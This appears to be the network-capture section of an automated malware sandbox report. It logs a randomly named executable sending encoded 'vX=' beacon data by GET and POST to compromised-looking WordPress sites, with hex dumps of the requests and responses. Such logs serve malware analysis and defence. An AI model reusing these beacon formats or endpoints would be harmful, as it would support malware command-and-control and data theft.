vX=CYsloWEdobJWv7fxX003HobPz1Nfzs5Tdr4qkbhre4+jnLz5pThh0aW/vpkVJGskILpKQ7RP88SqWhByUq1FNMbOoPyBdWOolo/0N53vx8EYztz8stjULjP7xHHn7UatEePSEw0nFnjIksVroNSFlmHdkF0gGc6H2NRyxCPbDMK0ghdt9fczYMYLk8NErLc2hB1YD2pbMKpuS5fzse/bFvLoHt1fSRrgo01qxkbLtvyUOSFAoKPk7FERVkRYX7UV8bjdD5KxZ8MzMoDKbrAJJQZByb+3RjN7pC4hgNvU3xkeWHuItF9OiiaVZozVw4j/VsdIELe4FwJGZ+bab83oDlHoEpDhJ9r+58YzDBYMgkGh5H664F+QO7fqQxVL+M5IUkFeinlmZclL/JgIXeHyImRLdT+tvm6/FSq7OWX0Us4FiiAuUju7r1iTdFANTnucIS8kxKbxjsvJCwPDxFV54NyossfkLVR9biORsdBqtMxDSDbPh/7j0Lo3U26KBgX1fwlHZ8nfQAeJpKPBxVD/QV1ifPBNquF2vB6iEfAVOPEvpH2kY55pcV1Kvqfp/CzoqMJwfiZhFz90f2QCqbod+UAf2jUFSDgxuJpP1YCWIRh5Rg6Sd67SOEldwIGu9HiLnIa/XtoU44h8LwqZI/RBEQzAcMvBoemKBeJHmdO37x0fse7lspew2n/yeYcGt+3cspGHnj1HnbcVfVYm7X5YRZ+15IunzktET2uy/ATFhyv4c8RIEnsw+bU39Gy2BWlALXScTVBSaMgpGU8ShTQKmS7wGSpL6bOERcRciNvfZMGA+b2UeOGou5kdAt7NwapW+vdLYZCBQcVrRromm6uA1TdJla+DERfRAn+Tkk6hqInLZTetuoqqjebiK78Y5dE53dpsuKxQKYREUsaOr7YZva2lpoz8heSICxk0swukIB03dG3Z2IgutWlx3vgKPR0CkPoXXCVZx7uBZpVoSB34lCxs6YJ7gSh41Oc/zxf9tIdMxUuNE [TRUNCATED]
Jul 3, 2024 17:37:50.326569080 CEST	5156	OUT	Data Raw: 41 6e 73 57 64 66 38 63 64 35 56 75 75 47 4d 49 4b 56 48 72 39 73 38 42 37 50 65 48 79 4e 5a 72 38 79 55 75 4a 58 78 46 76 56 74 55 6f 4d 38 6d 45 57 4f 51 66 44 78 7a 2f 6b 52 6c 34 61 6e 79 49 55 48 4e 44 35 77 46 5a 47 41 71 71 51 2f 76 59 6d Data Ascii: AnsWdf8cd5VuuGMIKVHr9s8B7PeHyNZr8yUuJXxFvVtUoM8mEWOQfDxz/kRl4anyIUHND5wFZGAqqQ/vYmMrXvCZ7c2ZCD3N+y7TmiuL1d6Iaml67EB3FT69u2Kvk+IDHhtlDQUW4fFyvlk1HCPMkhW8AXfDedRfmNWIy0DNeRw3LzIrBuRBQOA6W8r7aYwxL6YUBI+VvpcsAHWgZoYEQxGQq3zizeCRdUjByDCOtshVHpG1QXT
Jul 3, 2024 17:37:50.326649904 CEST	5156	OUT	Data Raw: 4c 75 37 4b 35 41 4d 63 6c 41 4a 64 51 6d 53 51 50 64 46 2f 41 36 78 31 58 32 47 76 66 75 34 39 4c 51 44 74 62 76 4b 2b 57 58 30 2b 67 32 54 63 6d 4f 74 69 2f 35 4f 74 74 4b 64 32 45 38 53 6d 76 4f 32 37 6c 45 4d 71 77 77 66 66 34 41 50 6c 66 41 Data Ascii: Lu7K5AMclAJdQmSQPdF/A6x1X2Gvfu49LQDtbvK+WX0+g2TcmOti/5OttKd2E8SmvO27lEMqwwff4APlfA0Zex45+3yPNHLZws4VMjqsSE5uXwNcavnDrvBfYXcH0KdpFRGsUe+idQMlZmEmrthe1rGL8VnUgPUK7ecL76BNbG5s/EHlSxK7qHBdBT/GYOO7VK0FR2XXceNC2wc9SvgGcbmF3F/1gj6KFz97JNGmTGhKlSEideU
Jul 3, 2024 17:37:50.445382118 CEST	2578	OUT	Data Raw: 52 4e 4b 4c 74 49 55 47 62 46 31 64 6a 76 62 71 36 2b 70 64 66 6a 6b 4e 39 38 58 49 2b 47 58 55 43 58 34 73 49 31 71 4f 39 30 49 58 6f 43 77 4c 36 69 41 75 73 6d 65 4e 42 33 61 6f 52 72 5a 68 38 58 69 43 4c 4c 53 51 67 6a 42 65 35 64 6f 75 59 78 Data Ascii: RNKLtIUGbF1djvbq6+pdfjkN98XI+GXUCX4sI1qO90IXoCwL6iAusmeNB3aoRrZh8XiCLLSQgjBe5douYxREa2L9R2H/24kC6dBsufDsP4suD5cY67etTFlAjGrF/MMPBHXbUuA9D1feYhJKHheh7RZ+zTvykDsJ4XeqBA7NSZjOSnx4dnvXq955rm9LQ5zmITRHQD2M2uJLQJzVZJqdN/qV6Fv5evmp+Y1hd2VA1wG0JIL/AVZ
Jul 3, 2024 17:37:50.445550919 CEST	2578	OUT	Data Raw: 32 31 6a 46 56 71 68 49 63 64 4f 59 44 50 6f 45 63 31 43 6d 53 69 45 6f 73 79 71 64 42 72 46 57 72 68 6e 34 5a 64 71 55 65 57 50 67 65 4b 71 68 66 68 57 71 4c 4d 35 43 62 63 4f 58 41 75 49 46 59 52 6e 6f 43 42 56 37 37 39 6e 46 46 52 5a 76 32 30 Data Ascii: 21jFVqhIcdOYDPoEc1CmSiEosyqdBrFWrhn4ZdqUeWPgeKqhfhWqLM5CbcOXAuIFYRnoCBV779nFFRZv20Agxr/c6hQmFeJ7+oCWrChS1sJK0U98sPuskXTAeKdkqpbtfX5HCKd3HBh3hKHZZGKFmX69CBGn7g/lS+K63Y5rmsKoR7uiDBXMmMIPz/bThQxsBEwhLV0yvJ7RDwHtN+Y+hYDQSHC0f44It6SXq6/Xz+gOeDppoS9
Jul 3, 2024 17:37:50.445692062 CEST	7734	OUT	Data Raw: 52 61 75 30 52 78 48 35 69 76 78 76 61 70 73 2f 6c 4c 31 4f 4d 31 54 2f 68 67 63 4c 78 45 64 6d 4a 6c 30 4e 2f 4a 54 7a 38 4e 42 49 43 46 72 44 37 4c 72 65 4d 6c 59 31 56 32 53 46 50 6b 37 34 4a 71 4d 53 70 57 45 79 33 4e 6c 61 6f 79 62 4b 41 56 Data Ascii: Rau0RxH5ivxvaps/lL1OM1T/hgcLxEdmJl0N/JTz8NBICFrD7LreMlY1V2SFPk74JqMSpWEy3NlaoybKAVZxOzZVjZ26ahauElleNPL+HH6aMdA+4oQwKa75VeePxkRk2NQlsnt5uDuxwrCaMe7WIc4hSUqEvuaZEwzbQ/g79gtrFXWT5Vd8pusYL68LbCD/y1CjwksciUXWCqrj7oKMi45ekYZoo/c/XxDO8+jsmIZ3nyQzuv4
Jul 3, 2024 17:37:50.445894003 CEST	12890	OUT	Data Raw: 62 57 43 56 44 56 66 69 63 71 30 46 34 42 2f 4f 75 2b 67 45 79 38 38 47 54 46 47 35 6a 51 56 61 67 49 34 2b 41 2b 42 35 37 6f 61 75 69 52 36 47 55 63 52 38 57 30 70 76 4a 46 75 30 57 34 31 61 74 30 43 67 4a 38 75 75 79 77 4c 36 7a 2f 79 42 48 70 Data Ascii: bWCVDVficq0F4B/Ou+gEy88GTFG5jQVagI4+A+B57oauiR6GUcR8W0pvJFu0W41at0CgJ8uuywL6z/yBHpEwNzZlN7gTUqRN+0ouZn+kLSZb9Qsp61uj3J6C+P+6Ny2wlpTczeo6hiWwX6WXQ7SdpswVYbAUdNvUoxy3+Ub9yGIsPh4+AY3XUaDCm8HW86wDMIzt/YMsZgXF0lv/Bzyt1Ezh6NfwDZjSTiyo80gDBDVHAL2Fq2t
Jul 3, 2024 17:37:50.564210892 CEST	2578	OUT	Data Raw: 54 46 47 39 4b 38 6b 6c 36 33 61 46 66 31 39 46 79 57 76 4d 54 68 5a 31 46 53 34 48 62 34 52 51 2f 57 48 47 76 30 63 5a 59 6b 45 31 56 4d 2b 34 62 49 6a 69 58 39 6f 55 76 58 57 6b 4d 73 7a 75 57 62 4c 52 69 56 44 63 46 50 56 6e 4b 56 49 44 48 43 Data Ascii: TFG9K8kl63aFf19FyWvMThZ1FS4Hb4RQ/WHGv0cZYkE1VM+4bIjiX9oUvXWkMszuWbLRiVDcFPVnKVIDHC1SORrZ92/Kj72BGK02giSxqSuOLDk6k1S1OiH+AeQirEVEa1SsBSDCPrAGyNe4R0bW0h7keyyIe1Vk9pUI7pIoErjO0Kv8ktpk/8MIX6tATrkoTbmxWEZOYrGzACPkBgT1OY1F5Pmnl6xBfn//ou6XXH4aom6qJUK
Jul 3, 2024 17:37:50.564368010 CEST	2578	OUT	Data Raw: 74 35 38 5a 4b 6d 79 30 62 7a 73 45 78 62 7a 30 44 69 4e 30 4b 47 34 76 79 77 61 61 4e 45 67 55 36 61 42 4a 78 45 30 39 36 39 5a 2f 42 38 70 62 32 43 70 4b 47 4f 48 58 44 45 4b 6f 31 51 51 34 64 6f 6a 49 6d 70 67 6a 6c 4a 4f 79 55 69 57 39 70 59 Data Ascii: t58ZKmy0bzsExbz0DiN0KG4vywaaNEgU6aBJxE0969Z/B8pb2CpKGOHXDEKo1QQ4dojImpgjlJOyUiW9pYv0BTo8d4vafKotFSjf6q2VidwJC5I6UpBXsrL8eJXbexR5d7R+GmmsYrAPLeFLThf25ZGj1A1ZvKvtKPox4ETN+27J4GoRx5eaVuTEYEbDpZFdAYKpvkq1MeRLqgzQc+WyB2EkOTMHyn9ppw0MEFnngn751Od3w3w
Jul 3, 2024 17:37:50.564570904 CEST	5156	OUT	Data Raw: 68 75 74 38 57 74 4c 35 66 6b 4a 57 36 56 78 7a 63 30 37 33 53 47 75 42 59 4e 58 77 32 43 51 6e 70 39 6d 63 50 70 30 68 44 46 6e 52 71 34 6a 50 58 50 47 79 64 2f 55 57 77 57 51 4d 62 48 51 76 30 4e 4f 57 46 59 6d 33 43 72 61 41 66 55 64 72 6c 70 Data Ascii: hut8WtL5fkJW6Vxzc073SGuBYNXw2CQnp9mcPp0hDFnRq4jPXPGyd/UWwWQMbHQv0NOWFYm3CraAfUdrlpKhF/RgxBbyeKP3NGCnOUDchEcJ8a39dLWcKJJBmF8bn/Sqmzf9APSWDzaokktt1F8DmW93syJaUfM4JMQxjq8ei6Ub6MCijckmNGYUefxYakkgu0INmDxyZ5hKax+z/6f6t+ME7E1Hkc1v0IpC0+qw2mIr+Q9doLa
Jul 3, 2024 17:37:50.564742088 CEST	4554	OUT	Data Raw: 65 66 31 41 57 71 72 44 4d 4c 2f 35 32 64 6d 73 30 63 66 46 6a 65 6b 66 47 76 70 37 36 73 52 31 48 59 46 2b 6a 71 55 66 72 4e 48 57 34 75 5a 61 61 73 78 36 51 43 37 67 5a 77 68 34 62 53 4e 68 39 6d 31 6d 31 75 50 4e 75 42 77 75 46 73 69 76 65 2f Data Ascii: ef1AWqrDML/52dms0cfFjekfGvp76sR1HYF+jqUfrNHW4uZaasx6QC7gZwh4bSNh9m1m1uPNuBwuFsive/CU39R9dyMkgfoOQAjsj/Bd9GB3TA1BY4T0fxYTSsQLcD0zzmlV7qXI44qJnRR5V5+gVBZ27n2kTV6RkVFbqqGrCySr2MBKmhtpDvN/BuNVQPXlzLjMfBWZSa1qilJLZ2Fik+ov6DsBfbNQtmKWOx1tHdcTR8rgV8z
Jul 3, 2024 17:37:51.024049044 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:37:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://lakemontbellevue.net/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Newfold-Cache-Level: 2 X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress CF-Cache-Status: DYNAMIC Set-Cookie: _cfuvid=QM.78s0mfIAeC4YRoX5T.1X2oVj_9R4U_FraGL8j2lY-1720021070959-0.0.1.1-604800000; path=/; domain=.www.lakemontbellevue.com; HttpOnly Server: cloudflare CF-RAY: 89d7f589eaa62d25-ORD Content-Encoding: gzip Data Raw: 32 61 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 7d 6d 77 db 36 b2 f0 e7 e4 57 30 ca 69 6a 2d 29 59 92 5f 63 57 e9 c6 76 ec a4 b1 13 af e5 b4 4f 6f d3 d3 03 91 23 11 16 08 30 00 28 59 f1 f5 7f 7f ce 0c 48 8a b2 e5 b7 38 dd de ec d6 1c 80 c0 cc 60 30 18 cc 00 20 f4 d3 b3 bd 8f bb a7 bf 1f bf f1 62 9b 88 57 4f 7f c2 87 27 98 1c 76 6b 20 1b 9f 7a 35 cc 03 16 bd 7a e2 3d 7d f2 53 02 96 79 b1 b5 69 03 be 64 7c dc ad fd bf c6 a7 d7 8d 5d 95 a4 cc f2 be 80 9a 17 2a 69 41 da 6e ed dd 9b 2e 44 43 a8 bd 2a aa 49 96 40 b7 36 e6 30 49 95 b6 95 92 13 1e d9 b8 1b c1 98 87 d0 a0 44 e0 71 c9 2d 67 a2 61 42 26 a0 db 9e 61 09 63 a6 0d d8 6e ed d3 e9 7e 63 b3 f6 ea e9 1c fa 1f b5 ea 2b 6b 7e 2c 91 ff 28 15 97 11 9c 07 de 40 09 a1 26 3f 7a cb 54 e5 59 a3 e1 9d c6 dc 78 86 5b f0 b8 f1 54 6a 79 c2 bf 42 e4 4d b8 8d 3d 1b 83 f7 bb 62 c6 7a bd 37 1f bd 54 64 43 2e bd 71 67 a5 d9 f2 1a 24 00 b3 b5 bc 3c c5 02 cd 50 25 cb 13 a5 a3 54 83 31 cb ae a8 59 36 a0 96 bd 46 03 f9 b6 dc 0a 78 75 cc 86 e0 49 65 bd 81 ca 64 e4 35 bc [TRUNCATED] Data Ascii: 2ae3}mw6W0ij-)Y_cWvOo#0(YH8`0 bWO'vk z5z=}Syid\|]iAn.DCI@60IDq-gaB&acn~c+k~,(@&?zTYx[TjyBM=bz7TdC.qg$<P%T1Y6FxuIed5C6DI$$S1r%ZvZ[S-P,Sm[T0UJ?BWp5Og)tk,M3BHP4VWJnqQ7m~~[<9}4%W:F2A-rL!O"TxV^m/}<5m<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49794	66.235.200.145	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:37:52.995919943 CEST	528	OUT	GET /bjbg/?_B7=LxyxWrj8kri0gh&vX=PaEFrgJgmJNh1u/DWUxMIeDskG5qzMhDGrQ71u93fIH85Lzxsg5t1cmIlpAxPUwLJ58UUf9JzsDSaHkwZqJSKveW5uukdz+QiIy0PILQ7uEd2NrIiK6nDiA= HTTP/1.1 Host: www.lakemontbellevue.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:37:53.376271963 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://lakemontbellevue.net/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Newfold-Cache-Level: 2 X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress CF-Cache-Status: MISS Set-Cookie: _cfuvid=GdR6J7M7UyeLSOen6FI8vvmIKiL9UZKbqu7AICoDdbc-1720021073312-0.0.1.1-604800000; path=/; domain=.www.lakemontbellevue.com; HttpOnly Server: cloudflare CF-RAY: 89d7f59a9da42cf5-ORD Data Raw: 37 63 66 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 09 20 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 33 2e 30 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 [TRUNCATED] Data Ascii: 7cf1<!DOCTYPE html><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><meta charset="UTF-8"><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v23.0 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found - Lakemont Community Association</title><meta property="og:locale" content="en_US" /><meta property="og:title" content="Page not found - Lakemont Community Association" /><meta property="og:site_name" content="Lakemo
Jul 3, 2024 17:37:53.376287937 CEST	1289	IN	Data Raw: 6e 74 20 43 6f 6d 6d 75 6e 69 74 79 20 41 73 73 6f 63 69 61 74 69 6f 6e 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 Data Ascii: nt Community Association" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://lakemontbellevue.net/#website","url":"https://lakemontbellevue.net/","name
Jul 3, 2024 17:37:53.376390934 CEST	1289	IN	Data Raw: 68 65 69 67 68 74 22 3a 37 30 2c 22 63 61 70 74 69 6f 6e 22 3a 22 4c 61 6b 65 6d 6f 6e 74 20 43 6f 6d 6d 75 6e 69 74 79 20 41 73 73 6f 63 69 61 74 69 6f 6e 22 7d 2c 22 69 6d 61 67 65 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 61 6b Data Ascii: height":70,"caption":"Lakemont Community Association"},"image":{"@id":"https://lakemontbellevue.net/#/schema/logo/image/"}}]}</script>... / Yoast SEO plugin. --><link rel='dns-prefetch' href='//lakemontbellevue.net' /><link rel='dns-pre
Jul 3, 2024 17:37:53.376418114 CEST	1289	IN	Data Raw: 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 35 2e 30 2e 33 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 6c 61 6b 65 6d 6f Data Ascii: re\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/lakemontbellevue.net\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.5"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={suppo
Jul 3, 2024 17:37:53.376431942 CEST	1289	IN	Data Raw: 70 65 3f 6e 65 77 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c Data Ascii: pe?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("scri
Jul 3, 2024 17:37:53.376444101 CEST	1289	IN	Data Raw: 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 3d 3d 74 26 26 28 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 6e Data Ascii: .supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=fu
Jul 3, 2024 17:37:53.376463890 CEST	1289	IN	Data Raw: 27 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 6c 61 6b 65 6d 6f 6e 74 62 65 6c 6c 65 76 75 65 2e 6e 65 74 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6d 65 64 69 61 65 6c 65 6d 65 6e 74 2f 77 70 2d 6d 65 64 69 61 65 6c 65 6d 65 6e 74 2e 6d 69 Data Ascii: ' href='http://lakemontbellevue.net/wp-includes/js/mediaelement/wp-mediaelement.min.css?ver=6.5.5' type='text/css' media='all' /><style id='jetpack-sharing-buttons-style-inline-css' type='text/css'>.jetpack-sharing-buttons__services-list{dis
Jul 3, 2024 17:37:53.376476049 CEST	1289	IN	Data Raw: 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e 36 36 37 65 6d 20 2b 20 32 Data Ascii: ;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-inline-css
Jul 3, 2024 17:37:53.376487970 CEST	1289	IN	Data Raw: 72 67 62 28 32 30 37 2c 34 36 2c 34 36 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 76 65 72 79 2d 6c 69 67 68 74 2d 67 72 61 79 2d 74 6f 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 3a 20 Data Ascii: rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(15
Jul 3, 2024 17:37:53.376499891 CEST	1289	IN	Data Raw: 69 6e 67 2d 2d 35 30 3a 20 31 2e 35 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 36 30 3a 20 32 2e 32 35 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 37 30 3a 20 33 2e 33 38 Data Ascii: ing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4
Jul 3, 2024 17:37:53.377091885 CEST	1289	IN	Data Raw: 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 63 6f 6c 6f 72 7b 63 6f Data Ascii: ar(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49795	103.120.176.124	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:37:58.967653990 CEST	791	OUT	POST /n8dl/ HTTP/1.1 Host: www.vintagewins.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.vintagewins.com Referer: http://www.vintagewins.com/n8dl/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 49 41 65 63 39 4b 32 6f 6e 48 73 68 62 74 64 56 31 6d 2b 76 37 72 77 39 55 4b 79 54 44 2b 55 56 35 65 4b 64 79 72 74 59 4f 63 39 51 67 6e 66 46 74 51 5a 42 69 65 44 45 79 63 4f 53 4a 63 59 70 6b 77 70 4b 77 4d 42 39 42 2f 46 41 53 4c 62 6c 6d 38 72 69 72 38 73 78 75 2f 2f 34 41 70 50 6f 35 6c 71 6f 43 74 61 2b 64 44 37 4d 6b 6d 33 39 71 4f 4a 75 77 42 47 4f 64 4d 7a 72 33 4d 50 69 50 4f 49 37 47 56 50 38 7a 45 45 49 57 54 4b 61 49 6a 46 4b 33 75 6d 65 50 46 57 59 64 6e 65 5a 64 74 64 2b 42 69 66 57 49 6c 33 76 74 6f 41 54 6b 67 47 35 64 34 38 4d 6f 54 47 37 6f 4b 67 32 4f 41 3d 3d Data Ascii: vX=IAec9K2onHshbtdV1m+v7rw9UKyTD+UV5eKdyrtYOc9QgnfFtQZBieDEycOSJcYpkwpKwMB9B/FASLblm8rir8sxu//4ApPo5lqoCta+dD7Mkm39qOJuwBGOdMzr3MPiPOI7GVP8zEEIWTKaIjFK3umePFWYdneZdtd+BifWIl3vtoATkgG5d48MoTG7oKg2OA==
Jul 3, 2024 17:37:59.900204897 CEST	1289	IN	HTTP/1.1 404 Not Found Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://vintagewins.com/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: br vary: Accept-Encoding date: Wed, 03 Jul 2024 15:37:59 GMT server: LiteSpeed Data Raw: 64 37 63 0d 0a d0 66 23 a2 a2 f5 43 22 8a f9 00 68 a4 2c 9c bf 3f 42 86 b9 ff 96 a9 7f 8e 2f 27 4c 67 64 48 10 92 ed ac 72 49 db bf 2c 5b 94 e9 60 f4 24 93 20 d0 87 e7 6d 54 6d 36 c3 fe f9 bc 94 be e4 64 46 92 0b c6 29 af 6f 86 e2 65 3d a1 f8 0c 6c 49 f9 bf fd be 9d 8e 58 0c 54 d3 90 48 9c 4e 93 34 f3 66 d6 1f e2 be 62 f3 e6 8e ac a8 fc 5d cc 56 4c 20 89 67 22 f9 2f 62 92 a8 94 b0 11 5a 63 1b 5b a7 9f 25 2c 18 b5 7d 81 aa 53 91 91 63 b0 23 d7 a0 92 e3 ba a2 58 81 56 44 09 70 ff 38 7b bb c3 de f5 5e d5 bd a2 e0 f3 3f 7f 07 b4 f5 21 7f 49 bf 78 b0 b6 bb e8 df ec 74 4c 80 8a fe 0f 3c 75 3b cc eb 1e 14 4d 38 01 28 6b e4 1f d5 03 29 36 22 08 f2 a7 ef de f2 64 b4 03 b5 c4 f4 e2 9c f5 af 24 82 53 74 88 a1 b5 0e de b8 7d ce 5d 3f 74 32 c4 ae 38 b5 be 58 c2 9d 9e f5 dd 56 9b d7 8d 3d 07 eb 51 77 70 b4 3e cd f1 7f 2d a7 de c5 c1 c8 61 37 e0 78 1a b4 e8 e0 f1 17 dd 01 f1 01 49 37 5b 8b cc de dc af 96 cb 0d 81 67 da 4e b3 7e 52 e5 6f 11 c3 36 60 5a 84 b6 a1 45 af 4f b9 ed 75 07 f9 ff c0 27 84 63 35 03 8d 36 0b [TRUNCATED] Data Ascii: d7cf#C"h,?B/'LgdHrI,[`$ mTm6dF)oe=lIXTHN4fb]VL 